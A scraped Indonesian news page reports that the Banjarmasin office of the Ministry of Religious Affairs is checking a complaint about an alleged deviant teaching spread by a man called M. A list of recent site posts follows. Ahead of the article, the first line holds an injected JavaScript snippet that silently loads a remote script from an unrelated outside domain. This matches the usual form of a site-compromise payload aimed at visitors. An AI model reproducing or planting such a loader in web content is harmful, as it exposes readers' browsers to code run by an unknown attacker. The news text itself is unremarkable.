(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Dugaan Ajaran Sesat Terpantau Kemenag Banjarmasin Sejak 2017


BANJARMASIN, Menanggapi adanya laporan dugaan aliran sesat di kawasan Pemurus Dalam Banjarmasin yang disebarkan oleh M, Kantor Kementerian Agama Kota Banjarmasin langsung menurunkan aparatur Kemenag Kota Banjarmasin.

Hal tersebut disampaikan oleh Kepala Kantor Kemenag Kota Banjarmasin H Muhammad Rofi’i melalui Kasi Bimbingan Masyarakat Islam H Ahmad Sya’rani saat dikonfirmasi di Kantor Kemenag Kota Banjarmasin, Kamis (26/12) siang.

“Kami baru saja menurunkan penyuluh untuk menggali informasi, dalam rangka menginventarisir informasi itu apakah valid atau tidak valid. Apakah masih membuka praktik ajaran atau tidak,” kata Sya’rani.

Hal ini perlu dilakukan, karena berdasarkan laporan yang diterima dari masyarakat sekitar yang resah dengan keberadaan diduga ajaran sesat itu.

Sya’rani menjabarkan, pihaknya telah mengetahui keberadaan diduga ajaran sesat yang disebarkan oleh M, sejak tahun 2017. Saat itu, Ketua RT 01 di mana diduga M berdomisili, melaporkannya dalam sebuah rapat di tingkat kelurahan. “Karena dianggap meresahkan warga sekitar,” kata Sya’rani.

Baca: Heboh Dugaan Aliran Sesat di Banjarmasin, Eksis Selama 10 Tahun Terakhir

Selanjutnya, Sya’rani membeberkan, waktu pelaksanaan kajian atau majelis pun dilakukan pada waktu yang tidak lazim pada umumnya. Kemudian, keberadaan dugaan aliran sesat ini sudah ditindaklanjuti oleh Kemenag Kota Banjarmasin dengan menerjunkan aparat.

“Dari informasi itu, kita terjunkan aparat kita ke sana, untuk menggali data. Kemudian, data itu sudah dapat untuk diinput, dan kita sampaikan kepada Majelis Ulama Indonesia Kota Banjarmasin,” paparnya.

Sehingga, untuk kasus ini, Kantor Kemenag Kota Banjarmasin telah mengarahkan aparatur untuk melakukan penyuluhan dan mensosialisasikan hasil Rakernas (tentang aliran sesat). Sya’rani pun membenarkan dugaan modus yang dilakukan M dalam menyebarkan paham aliran sesatnya yaitu, dengan membuka tempat pengobatan.

Nah, berdasarkan temuannya, sesuatu yang tidak lazim itu ditemui ketika umat Islam pada umumnya tengah melaksanakan ibadah shalat fardu, M malah melakukan pengajian. Selain itu, mayoritas pengikutnya berasal dari luar Kota Banjarmasin.

“Pengikutnya itu didominasi dari luar kota Banjarmasin,” sebutnya.

Berdasarkan informasi yang didapat, keberadaan diduga aliran sesat ini diketahui dari seseorang pengikut M yang tinggal di Gambut, Kabupaten Banjar, yang menulis wasiat ketika hendak meninggal dunia. Dalam surat wasiatnya, dirinya tidak ingin dimandikan, dikafani dan dishalatkan kecuali dengan gurunya. “Indikasi dari situ,” pungkasnya. (fikri)

Reporter : Fikri
Editor : Bie

 


Al Ghifari

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

7 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

9 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

14 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

17 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

19 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

This website uses cookies.